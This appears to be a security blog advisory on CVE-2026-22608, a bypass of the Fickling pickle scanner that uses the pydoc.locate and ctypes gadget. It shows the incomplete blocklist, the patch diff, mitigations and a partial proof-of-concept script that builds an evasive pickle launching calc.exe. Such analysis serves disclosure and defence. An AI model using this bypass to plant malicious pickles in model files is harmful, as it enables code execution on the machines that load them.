CVE-2026-22608

The Watchman Sleeps: Bypassing Fickling's Pickle Security

Alon Barad
Alon Barad
Software Engineer

Jan 10, 2026·6 min read

Executive Summary (TL;DR)

Fickling, a tool designed to detect malicious Python pickles, failed to block the `pydoc` and `ctypes` modules. Attackers can use `pydoc.locate` to dynamically resolve and execute dangerous functions (like `WinExec` or `system`) without triggering the static analysis alarms. Fixed in version 0.1.7.

A critical RCE vulnerability in Fickling, the premier Python pickle static analyzer. By leveraging a pydoc gadget, attackers can bypass safety checks and execute arbitrary code while the analyzer reports the file as 'LIKELY_SAFE'.

When the Guard Dog is Asleep

Python's pickle module is notoriously insecure. It's essentially a stack-based virtual machine that can execute arbitrary code during deserialization. Enter Fickling, a tool developed by the smart folks at Trail of Bits. It's designed to decompile pickle data, analyze the Abstract Syntax Tree (AST), and flag dangerous imports or opcodes. Ideally, it's the bouncer that stops RCE payloads at the door.

But here's the irony: CVE-2026-22608 isn't a vulnerability in the pickle format itself—it's a vulnerability in the detector. The tool explicitly designed to tell you if a file is safe was lying to you. By crafting a specific chain of operations, an attacker could convince Fickling that a nuclear warhead was actually a basket of kittens. The analyzer would output LIKELY_SAFE, while the payload was busy spawning a reverse shell in the background.

This vulnerability highlights the fragility of static analysis when applied to dynamic languages. Fickling tries to predict what the Python VM will do without actually running the code. The bypass we're discussing today exploits that gap between intent (what the code looks like) and execution (what the code actually does).

The Blocklist Fallacy

The root cause here is a classic security anti-pattern: The Blocklist. Fickling operates by maintaining a list of "known bad" modules—things like os, subprocess, and posix. If the decompiler sees the pickle trying to import these, it screams "UNSAFE". The problem with blocklists is that they require you to know every possible way to cause harm. If you miss one, you lose.

In this case, the developers missed pydoc. You might think, "Why is a documentation generator dangerous?" It turns out pydoc contains a function called locate. This function takes a string path (e.g., 'ctypes.windll.kernel32.WinExec') and dynamically imports and resolves it. It's a magic wand that turns text into executable objects.

Because pydoc wasn't on the blocklist, Fickling saw the instruction GLOBAL 'pydoc' 'locate' and shrugged. It didn't realize that locate was about to be used to smuggle in ctypes, a module that allows direct memory manipulation and system calls. It’s like checking a passenger's luggage for guns but allowing them to bring a 3D printer and a blueprint for a gun.

The Smoking Gun

Let's look at the code responsible for this oversight. In fickling/fickle.py, there is a method called unsafe_imports. This iterator walks through the decompiled AST and checks import nodes against a hardcoded tuple of bad names. Prior to the patch, the list was dangerously short.

Here is the vulnerable logic compared to the fix. Notice that the fix is incredibly simple—just adding strings to a tuple. This simplicity betrays the complexity of the problem; finding these gadgets is an art form, but patching them is just data entry.

# fickling/fickle.py (Pre-Patch)
def unsafe_imports(self) -> Iterator[ast.Import | ast.ImportFrom]:
    # ... traversal logic ...
    if name in (
        "os",
        "subprocess",
        "posix",
        "nt",
        "types",
        "runpy",
        "cProfile",
        # OOPS: pydoc and ctypes are missing!
    ):
        yield node

The fix (Commit b793563e) simply adds the missing culprits:

             "runpy",
             "cProfile",
+            "ctypes",
+            "pydoc",
         ):
             yield node

This code confirms that Fickling was relying on a finite enumeration of evil. By neglecting ctypes (which provides C-compatible data types and allows calling functions in DLLs/shared libraries), the door was left wide open for memory-corruption-style attacks via Python scripts.

Weaponizing Documentation

Now, let's build the exploit. A standard pickle RCE usually looks like os.system('sh'). Fickling catches that easily. To bypass it, we need to be subtler. We will use the pydoc.locate gadget to resolve a pointer to WinExec (on Windows) or system (on Linux) via ctypes.

The attack chain works like this:

  1. Import: Load pydoc.locate. Fickling allows this.
  2. Resolve: Pass the string 'ctypes.windll.kernel32.WinExec' to locate. This returns the actual function object.
  3. Execute: Call that function object with our command (e.g., calc.exe).
  4. Stealth: To ensure Fickling doesn't flag "unused variables" (another heuristic it uses), we pack the result of our execution into a benign object, like an Exception.

Here is a Python script that generates the stealth_ctypes.pkl payload. This file will bypass Fickling < 0.1.7 and execute code upon deserialization:

import pickle
 
# Manual opcode assembly to ensure precise control
GLOBAL      = b'c'
STRING      = b'S'
REDUCE      = b'R'
# ... (standard pickle opcodes)
 
# The payload logic:
# 1. func = pydoc.locate('ctypes.windll.kernel32.WinExec')
# 2. func('calc.exe', 1)
 
payload = b""
payload += GLOBAL + b"pydoc\nlocate\n"
payload += STRING + b"'ctypes.windll.kernel32.WinExec'\n"
payload += b"\x85" + REDUCE  # Call locate()
payload += b"p" + b"0\n"      # Store in memo 0
payload += b"0"               # Pop
 
# Execute
payload += b"g" + b"0\n"      # Get WinExec
payload += b"("               # Mark param start
payload += STRING + b"'calc.exe'\n"
payload += b"I1\n"            # uCmdShow = 1
payload += b"t" + REDUCE      # Call WinExec
 
# ... (cleanup to satisfy static analysis)

Why This Matters

This vulnerability is a stark reminder that static analysis is not a silver bullet. Fickling is used by security researchers and automated pipelines to assess the safety of machine learning models (which often use pickle for serialization, like PyTorch). If an attacker can bypass this check, they can poison models or supply chain artifacts that appear "clean" to scanners but compromise the engineer's machine immediately upon loading.

The impact here is high (CVSS 8.9) because it completely negates the utility of the tool. If your safety net has a hole in it, it's not a safety net—it's false confidence. The exploit requires no authentication, no user interaction beyond the victim analyzing the file, and works across platforms wherever ctypes is available.

Patching the Holes

The immediate fix is to upgrade Fickling to version 0.1.7 or higher. This update expands the blocklist to include pydoc and ctypes, effectively neutralizing the specific gadget chain described above. However, if you are a security engineer, you should treat this as a temporary patch, not a cure.

The real mitigation is architectural: Do not use pickle for untrusted data. Ever. No amount of static analysis can fully secure a format that is Turing-complete by design. Move to JSON, Protobuf, or Safer-Pickle implementations if you must. If you absolutely must verify pickles, sandbox the deserialization process in a throwaway VM or container rather than relying solely on static checks.

Fix Analysis (1)

Technical Appendix

CVSS Score
8.9/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Affected Systems

Fickling < 0.1.7Systems relying on Fickling for automated malware scanningML Ops pipelines validating PyTorch/Pickle files

Affected Versions Detail

Product
Affected Versions
Fixed Version
Fickling
Trail of Bits
< 0.1.70.1.7
AttributeDetail
CWE IDCWE-184 (Incomplete Blocklist)
CVSS Score8.9 (Critical)
Attack VectorNetwork / Local File
Gadget Usedpydoc.locate -> ctypes
ImpactRemote Code Execution (RCE)
Exploit StatusPoC Available
CWE-184
Incomplete List of Disallowed Inputs

The software relies on a blocklist to detect dangerous inputs, but the list is incomplete, allowing an attacker to bypass the protection using an alternative dangerous input.

Vulnerability Timeline

Patch authored by Thomas Chauchefoin
2026-01-07
GHSA Advisory Published
2026-01-09
CVE Published
2026-01-10

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.